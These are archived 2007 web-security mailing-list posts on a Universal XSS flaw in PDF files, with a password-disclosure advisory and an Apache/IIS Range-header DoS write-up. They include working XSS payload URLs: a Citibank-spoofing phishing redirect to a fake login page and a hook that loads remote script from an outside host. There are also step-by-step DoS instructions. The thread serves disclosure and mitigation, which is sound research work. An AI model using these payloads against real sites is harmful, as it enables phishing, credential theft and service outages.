User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) 
Gecko/20061204 Firefox/2.0.0.1
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Pragma: no-cache

So I think your idea was partly good, the 301 redirection will knock off
the URL fragment, but it has nothing to do with GET vs POST, and you'll
need to redirect it to a unique token to prevent infinite loops or
someone just forwarding to a guessable token.

-RSnake
http://ha.ckers.org/
http://sla.ckers.org/
http://ha.ckers.org/fierce/


On Wed, 3 Jan 2007, James Landis wrote:

 Why bother with the token handling? If the request URI is a PDF and it is a
 POST or contains URL parameters, just 30x to the naked PDF. Otherwise it's
 safe to serve.

 -j

 On 1/3/07, Amit Klein [EMAIL PROTECTED] wrote:

 Amit Klein wrote:
  pdp (architect) wrote:
  I will be very quick and just point to links where you can read about
  this issue.
 
  It seams that PDF documents can execute JavaScript code for no
  apparent reason by using the following template:
 
 
 
 http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
 
 
  You must understand that the attacker doesn't need to have write
  access to the specified PDF document. In order to get an XSS vector
  working you need to have a PDF file hosted on the target and that's
  all about it. The rest is just a matter of your abilities and desires.


The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/

The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]




Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread pdp (architect)

Amit, this is very interesting solution and it will probably work in
most cases. However, if the attacker is able to upload PDF documents,
he/she can craft one that will produce the desired result as soon as
it gets opend by the user. This can be achieved by setting the PDF
file to redirect. David K. from michaeldawe.org had a POC somewhere.
This attack vector is limited due to the fact that the attacker needs
to upload malicious PDF files, but it is still very dangerous. Think
about email attachments. I haven't tested this idea myself, though.

On 1/3/07, Amit Klein [EMAIL PROTECTED] wrote:

Amit Klein wrote:
 pdp (architect) wrote:
 I will be very quick and just point to links where you can read about
 this issue.

 It seams that PDF documents can execute JavaScript code for no
 apparent reason by using the following template:


 http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here


 You must understand that the attacker doesn't need to have write
 access to the specified PDF document. In order to get an XSS vector
 working you need to have a PDF file hosted on the target and that's
 all about it. The rest is just a matter of your abilities and desires.

 Amazing, and kudos to Sven Vetsch who found this.

Oops, seems that the credit went to the wrong guy. Actual credit go to
Stefano Di Paola, with contributions from Giorgio Fedon (IE Dos, UXSS
Analysis) and Elia Florio (Poc and Code Execution analysis).

BTW, one way to mitigate this is for the server, upon receiving a
request to file.pdf (without a valid query+cookie pair, see below), to
redirect it to file.pdf?token_query=X (where X is an unpredictable, high
entropy string) accompanied with a Set-Cookie header for a cookie named
say token_cookie with value X and short expiration period (e.g. 10
seconds). The browser will then respond with a request to
file.pdf?token_query=X with Cookie token_cookie=X. At this point, if the
server receives token_query==token_cookie, the server knows this is a
legit request (i.e. without fragment), and it can safely serve the PDF
resource.

I suppose this can be implemented easily as an Apache module/ISAPI/NSAPI
filters.

-Amit


The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/

The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]





--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org


Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread Amit Klein

pdp (architect) wrote:

Amit, this is very interesting solution and it will probably work in
most cases. However, if the attacker is able to upload PDF documents,
he/she can craft one that will produce the desired result as soon as
it gets opend by the user. This can be achieved by setting the PDF
file to redirect. 
I agree. I was thinking about a solution to the fragment problem, which 
is the topic of the thread (and a much more widespread situation than 
PDF upload).


-Amit


Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread Jean-Jacques Halans

And it makes a great phishing hole too.
Google for any banking pdf's
and attach your fake banking site to let the user login to read the article.

For example:
Send out an email pretending to come from Citibank, about a new
article on Wealth Management, with a link to the real article:
http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url}
Notice the popup (in firefox) which says: The page at
http://www.citibank.com says:

JJ

On 1/3/07, pdp (architect) [EMAIL PROTECTED] wrote:

I will be very quick and just point to links where you can read about
this issue.

It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:

http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here

You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.

This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.

There is a POC I composed:

http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);

More on the matter can be found here:

http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34

--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org


The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/

The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]





--
Halans Jean-Jacques


jgbbs

2007-01-03 Thread dr . t3rr0r1st
#
# ARIA-SECURITY TEAM  #
# Forum: http://aria-security.com #
# DiscoveredBy:t3rr0r1st from Aria-Security# 
#
#Type:Remote Password Disclosure 
#Vendor:http://sourceforge.net/projects/jgbbs/
#PoC:
#http://target/path/db/bbs.mdb
#Contact:
[EMAIL PROTECTED]
#
#[http://aria-security.com/forum/showthread.php?t=87]


a cheesy Apache / IIS DoS vuln (+a question)

2007-01-03 Thread Michal Zalewski
I feel silly for reporting this, but I couldn't help but notice that
Apache and IIS both have a bizarro implementation of HTTP/1.1 Range
header functionality (as defined by RFC 2616). Their implementations allow
the same fragment of a file to be requested an arbitrary number of times,
and each redundant part to be received separately in a separate
multipart/byteranges envelope.

Combined with the functionality of window scaling (as per RFC 1323), it is
my impression that a lone, short request can be used to trick the server
into firing gigabytes of bogus data into the void, regardless of the
server file size, connection count, or keep-alive request number limits
implemented by the administrator. Whoops?

Since there are easier tools to (D)DoS a service, and since nothing about
this attack is particularly innovative, I'll just describe what's on my
mind... let's say that http://example.com/foo.html is a medium-size static
file we found on the server (something on the order of 300 kB for Apache
and 150 kB for IIS is optimal). An attack would then look roughly the
following way:

  1) Connect to the server (as many times as allowed by the remote party
 or deemed appropriate for the purpose of this demonstration),

  2) Negotiate a high TCP window size for each of the connections (1 GB
 should be doable),

  3) Send a partial request as follows for each of the connections:
 GET /foo.html HTTP/1.1
 Host: example.com
 Range: bytes=0-,0-,0-,0-,0-... (up to 8 kB for Apache, 16 kB for IIS)

 Each 0- would generate a separate multipart/byteranges containing
 the entire file (bytes from 0 'til EOF).

  4) Send a closing newline within each of the connections to commit
 the request,

  5) Silently drop the connections, possibly re-connect to dial-up / DSL
 to duck the responses that would keep pouring at full speed until
 TCP window size is exhausted or an ISP-level non-delivery /
 congestion control mechanism kicks in (and isn't filtered out
 down the route).

This should cause the server to send gigabytes of data, with only a
minimal bandwidth expense on the attacker's end.

Well, that's the story.

This isn't the only fire-and-run-away attack that seems to be made much
more feasible with the help of window scaling (by making it more tempting
for the attacker to request tons of data and then go off-line and never
acknowledge it). Was there any work done on that topic? Can't Google
anything up.

  (An example would be an old-fashioned attack on a server that happens
  to host multi-gigabyte ISO files or movies - simply request them
  many times and let window scaling do the rest... of course, most
  high-profile sites are smart enough to host static HTML and basic layout
  elements separately from such bandwidth-intensive and non-essential
  content, so it still makes sense to take note of Range behavior).

/mz


RE: [WEB SECURITY] Universal XSS with PDF files: hi ghly dangerous

2007-01-03 Thread Larry Seltzer
I'm not sure if anyone else has posted this, but it looks to me like
Acrobat 6 and 7 are vulnerable, but not 8.

Also, all versions of Firefox are vulnerable, IE8 SP1 and earlier are,
but IE 6 SP2 and IE7 aren't.

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.eweek.com/blogs/larry%5Fseltzer/
Contributing Editor, PC Magazine
[EMAIL PROTECTED] 


Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

2007-01-03 Thread pdp (architect)

The following POC dynamically backdoors a given PDF document with an
attack channel:

http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:setInterval(function
() {var s = document.createElement('script');s.src =
'http://www.gnucitizen.org/carnaval/channel';s.defer = true;s.type =
'text/javascript';document.body.appendChild(s);}, 2000);void(0);

For the purpose of this POC I use carnaval. All hoocked clients can be
previewed by using carnaval's backframe profile:

http://www.gnucitizen.org/carnaval

click on backframe, or directly access the following URL:

http://www.gnucitizen.org/backframe/application.htm?Y2hhbm5lbCgnY2FybmF2YWwnLCAnaHR0cDovL3d3dy5nbnVjaXRpemVuLm9yZy9jYXJuYXZhbC9jaGFubmVsJyk7CnBvcHVsYXRlX2NoYW5uZWxzKCk7



On 1/3/07, Amit Klein [EMAIL PROTECTED] wrote:

pdp (architect) wrote:
 Amit, this is very interesting solution and it will probably work in
 most cases. However, if the attacker is able to upload PDF documents,
 he/she can craft one that will produce the desired result as soon as
 it gets opend by the user. This can be achieved by setting the PDF
 file to redirect.
I agree. I was thinking about a solution to the fragment problem, which
is the topic of the thread (and a much more widespread situation than
PDF upload).

-Amit




--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org